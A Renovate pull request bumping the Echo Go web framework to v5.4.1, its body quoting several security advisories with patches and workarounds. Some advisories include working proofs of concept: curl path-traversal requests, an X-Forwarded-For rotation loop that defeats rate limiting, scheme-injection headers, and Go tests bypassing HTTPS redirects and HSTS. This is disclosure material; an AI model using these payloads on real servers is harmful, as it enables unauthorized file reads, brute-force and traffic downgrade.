Skip to content

build(deps): update module github.com/labstack/echo/v5 to v5.4.1 [security] - #83

Merged
mergify[bot] merged 1 commit into
masterfrom
renovate/go-github.com-labstack-echo-v5-vulnerability
Oct 29, 2026
Merged

mergify[bot] merged 1 commit into
masterfrom
renovate/go-github.com-labstack-echo-v5-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 29, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/labstack/echo/v5 v5.0.0 → v5.4.1 age confidence

Echo has a Windows path traversal via backslash in middleware.Static default filesystem

CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 / GO-2026-4502

More information

Details

Summary

On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics).
path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting
path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS
which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\,
allowing traversal outside the static root.

Relevant code:

  • middleware/static.go (path unescape + path.Clean + currentFS.Open)
  • echo.go defaultFS.Open → os.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean

  • defaultFS combination reintroduces the Windows backslash traversal.
PoC

Windows only.

Sample code (main.go):

package main

import (
      "log"
      "net/http"

      "github.com/labstack/echo/v5"
      "github.com/labstack/echo/v5/middleware"
)

func main() {
      e := echo.New()

      // Important: use middleware.Static with default filesystem (nil)
      e.Use(middleware.Static("public"))

      e.GET("/healthz", func(c *echo.Context) error {
              return c.String(http.StatusOK, "ok")
      })

      addr := ":1323"
      log.Printf("listening on %s", addr)
      if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
              log.Fatal(err)
      }
}

Static file:

public/index.html

(content can be any HTML)

Run:
go run .

Verify:

curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404

Screenshot:
image
image

Impact

Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if middleware.Static is used with the default
filesystem.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo has a Windows path traversal via backslash in middleware.Static default filesystem in github.com/labstack/echo/v5

CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 / GO-2026-4502

More information

Details

Echo has a Windows path traversal via backslash in middleware.Static default filesystem in github.com/labstack/echo/v5

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

CVE-2026-118653 / GHSA-246p-cpwv-v3jq

More information

Details

Summary

When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.

Affected Component
  • context.go — (*Context).RealIP() (lines 186–208), legacy fallback branch (lines 190–200)
  • middleware/rate_limiter.go — DefaultRateLimiterConfig.IdentifierExtractor (lines 46–58); RateLimiter() (lines 71–76)
  • echo.go — New() (lines 326–343), IPExtractor left nil by default
Description
RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset

Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:

// context.go:186-200
func (c *Context) RealIP() string {
    if c.echo != nil && c.echo.IPExtractor != nil {
        return c.echo.IPExtractor(c.request)
    }
    // Fall back to legacy behavior
    if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
        i := strings.IndexAny(ip, ",")
        if i > 0 {
            xffip := strings.TrimSpace(ip[:i])
            xffip = strings.TrimPrefix(xffip, "[")
            xffip = strings.TrimSuffix(xffip, "]")
            return xffip   // ← attacker-controlled first IP
        }
        return ip
    }
    if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
        ...
        return ip          // ← also attacker-controlled
    }
    ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
    return ra
}
Rate limiter default identifier extractor calls RealIP() unconditionally

DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:

// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
    Skipper: DefaultSkipper,
    IdentifierExtractor: func(ctx *echo.Context) (string, error) {
        id := ctx.RealIP()   // ← reads attacker-controlled header
        return id, nil
    },
    ...
}

RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:

// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
    config := DefaultRateLimiterConfig
    config.Store = store
    return RateLimiterWithConfig(config)
}

The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.

Framework acknowledges the issue for IP extraction but the rate limiter carries no warning

ip.go:27 explicitly states the default is insecure:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

And ip.go:117-119:

"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."

The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.

The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.

Full execution chain
  1. Server starts with echo.New() (no IPExtractor set) and e.GET("/limited", h, middleware.RateLimiter(store))
  2. Attacker sends GET /limited with header X-Forwarded-For: 1.2.3.4 — rate bucket for 1.2.3.4 consumed
  3. Attacker sends GET /limited again with X-Forwarded-For: 1.2.3.4 — second token consumed; if burst is 1, next request would be 429
  4. Attacker sends GET /limited with X-Forwarded-For: 5.6.7.8 — new bucket created for 5.6.7.8, 200 OK returned
  5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served
Proof of Concept
package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // NOTE: IPExtractor deliberately NOT set — this is the default
    store := middleware.NewRateLimiterMemoryStore(1)
    e.GET("/limited", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    }, middleware.RateLimiter(store))
    e.Logger.Fatal(e.Start(":1324"))
}
##### First request with IP 1.1.1.1 — consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited

##### HTTP/1.1 200 OK

##### Second request with same IP — rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited

##### HTTP/1.1 429 Too Many Requests

##### Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited

##### HTTP/1.1 200 OK

##### Repeat indefinitely with rotating IPs — rate limit never triggers
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done

##### 200 200 200 ... (all 200, never 429)
Impact
  • Attackers can make unlimited requests to any endpoint protected by middleware.RateLimiter() using the default configuration by rotating the X-Forwarded-For header
  • Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled
  • API abuse and credential stuffing are possible at arbitrary throughput
  • Any per-IP security control that relies on ctx.RealIP() with default configuration (access logging, geo-blocking, audit trails) is equally undermined
Recommended Remediation
Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)

The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):

// rate_limiter.go — illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
    Skipper: DefaultSkipper,
    IdentifierExtractor: func(ctx *echo.Context) (string, error) {
        if ctx.Echo().IPExtractor == nil {
            // Fall back to direct TCP peer address — safe for non-proxied deployments
            host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
            if err != nil {
                return ctx.Request().RemoteAddr, nil
            }
            return host, nil
        }
        return ctx.RealIP(), nil
    },
    ...
}
Option 2: Document and warn in RateLimiter() godoc

At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.

// RateLimiter returns a rate limiting middleware.
//
// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads
// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,
// these headers are fully client-controlled and can be spoofed to bypass
// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or
// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.
// See https://echo.labstack.com/guide/ip-address for details.
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.

github.com/labstack/echo/v4 keeps its default for compatibility.

Workarounds

Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo has Arbitrary Scheme Injection in WWWRedirect/NonWWWRedirect Middlewares via X-Forwarded-Proto

CVE-2026-118658 / GHSA-23wf-92cp-8pcj

More information

Details

Summary

The c.Scheme() method in Echo (context.go:162-181) trusts the X-Forwarded-Proto, X-Forwarded-Protocol, and X-Url-Scheme request headers without validating that the value is http or https. The WWWRedirect() and NonWWWRedirect() middlewares use this unsanitized scheme to construct redirect URLs, allowing an attacker to inject arbitrary URI schemes into the Location response header.

Affected Components
  • context.go:162-181 - Scheme() method returns attacker-controlled value verbatim
  • middleware/redirect.go:172-184 - redirectWWW/redirectNonWWW use unsanitized scheme
Proof of Concept
GET /path HTTP/1.1
Host: example.com
X-Forwarded-Proto: javascript

Response:
HTTP/1.1 301 Moved Permanently
Location: javascript://www.example.com/path

Confirmed injectable schemes: javascript, data, vbscript, file, ftp, ssh, telnet, gopher.

Only WWWRedirect() and NonWWWRedirect() (and WithConfig variants) are affected. HTTPSRedirect, HTTPSWWWRedirect, HTTPSNonWWWRedirect are NOT affected (they hardcode https://).

Impact
  • Open redirect to arbitrary scheme URLs when app is not behind a proxy that strips X-Forwarded-Proto
  • Cache poisoning when behind a CDN that caches redirect responses keyed by path
  • file:// scheme injection could trigger file access in some browser configurations
Suggested Fix

Whitelist scheme in c.Scheme() to only return http or https:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        scheme = strings.ToLower(strings.TrimSpace(scheme))
        if scheme == "https" {
            return "https"
        }
    }
    return "http"
}
Disclosure

Source code review, manually verified with actual HTTP server. Tested on Echo v5.0.4 (latest master).

Patches

Fixed in github.com/labstack/echo/v5 v5.1.1 and github.com/labstack/echo/v4 v4.15.2. Context.Scheme() now accepts only http, https, ws or wss from the X-Forwarded-Proto, X-Forwarded-Protocol and X-Url-Scheme headers, and falls back to http for any other value (#​2953).

Workarounds

Upgrade to a patched version. If you cannot upgrade, have your edge proxy overwrite or remove the X-Forwarded-Proto, X-Forwarded-Protocol and X-Url-Scheme request headers.

Severity

  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo: Encoded slash (%2F) bypasses route-level protection and exposes static files

CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq / GO-2026-6293

More information

Details

Summary

Echo's router and static file handler disagree on URL path decoding. The router matches routes using the raw encoded path (preserving %2F as-is), while StaticDirectoryHandler unescapes %2F to / before resolving filesystem paths. This allows an attacker to bypass route-level access controls and read static files without authorization.

Details

Root cause 1 — router.go lines 798-802:
The router uses req.URL.RawPath for route matching when useEscapedPathForRouting is false (the default). This means /admin%2Fsecret.txt is treated as a single path segment and does NOT match the /admin/* route pattern.

if !r.useEscapedPathForRouting && req.URL.RawPath != "" {
    path = req.URL.RawPath
}

Root cause 2 — echo.go lines 559-568:
StaticDirectoryHandler calls url.PathUnescape() on the path parameter before opening files. This converts %2F back to /, resolving admin/secret.txt on disk.

if !disablePathUnescaping {
    tmpPath, err := url.PathUnescape(p)
    p = tmpPath
}
name := filepath.ToSlash(filepath.Clean(strings.TrimPrefix(p, "/")))
PoC (Screenshot)

Sample:
image

403:
image

Bypass with encoded slash:
image

Impact

Unauthorized static file disclosure. Applications that protect route prefixes with authentication middleware while also serving static files from a broader root are vulnerable. An attacker only needs to encode the slash (/ → %2F) in the URL to bypass all route-level protection.

Common affected pattern:

adminGroup := e.Group("/admin", authMiddleware)
e.StaticFS("/", os.DirFS("public"))

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo has a Static Middleware Double-Unescape Path Traversal

CVE-2026-118655 / GHSA-xwq5-6cqp-vx96

More information

Details

Summary

Commit a9ede66a (PR #​3006, issue #​2599) silently fixed a path traversal vulnerability in the Echo web framework's static file middleware.

Vulnerability

The static middleware double-unescaped URL paths. Go's net/http already decodes Request.URL.Path, but middleware/static.go unconditionally called url.PathUnescape() again:

// BEFORE (vulnerable)
pathUnescape := true

This reassembled path traversal sequences from double-encoded input. An attacker could send GET /%2e%2e%2fsecret.txt or /..%252fsecret.txt and the double-unescape would produce ../secret.txt.

Fix
// AFTER (fixed)
pathUnescape := false

The commit's test TestStatic_percentEncodedTraversalIsBlocked explicitly verifies traversal vectors are blocked.

Impact

Arbitrary file read from server filesystem via percent-encoded path traversal.

References
Patches

Fixed in github.com/labstack/echo/v5 v5.2.0 and github.com/labstack/echo/v4 v4.15.3, where the Static middleware stopped unescaping an already decoded path. Maintainer analysis: reading files outside the configured root could not be reproduced; the confirmed impact was that a double-encoded slash (%252F) could reach a file under a guarded route when the Static middleware is registered globally. Upgrade to v5.4.0 / v4.16.0 or later, which also includes related fixes for encoded and dot-segment paths.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Encoded slash (%2F) bypasses route-level protection and exposes static files in github.com/labstack/echo/v4 and github.com/labstack/echo/v5

CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq / GO-2026-6293

More information

Details

Encoded slash (%2F) bypasses route-level protection and exposes static files in github.com/labstack/echo/v4 and github.com/labstack/echo/v5

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers

CVE-2026-118657 / GHSA-2ffq-g2xg-c22p

More information

Details

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

  1. X-Forwarded-Proto
  2. X-Forwarded-Protocol
  3. X-Forwarded-Ssl
  4. X-Url-Scheme
Threat model

Scenario A — Directly exposed application (vulnerable by default):
The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk):
If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

  1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

  2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components
Component File Line(s) Impact
Context.Scheme() context.go 161–181 Returns attacker-controlled scheme
HTTPSRedirect middleware/redirect.go 147–151 HTTPS enforcement bypassed
HTTPSWWWRedirect middleware/redirect.go 154–161 HTTPS enforcement bypassed
HTTPSNonWWWRedirect middleware/redirect.go 163–170 HTTPS enforcement bypassed
WWWRedirect middleware/redirect.go 172–177 URL constructed with arbitrary scheme
NonWWWRedirect middleware/redirect.go 179–184 URL constructed with arbitrary scheme
Secure middleware (HSTS) middleware/secure.go 125 HSTS header suppressed
This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!"
— ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set."
— ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

  • The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
  • The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)
package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}
PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

##### Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

##### Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

##### Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

##### Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

##### Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https
PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)
func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}
PoC 4: HSTS Suppression
func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}
Test output (all attacks succeed)
=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http
Precedent CVEs
  • CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
  • CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.
Suggested fix
Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.
Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo's middleware.Static: %2F-encoded path bypasses route/group middleware guarding a statically-served path

CVE-2026-118650 / GHSA-375p-5qhx-8wq4

More information

Details

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

  • The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
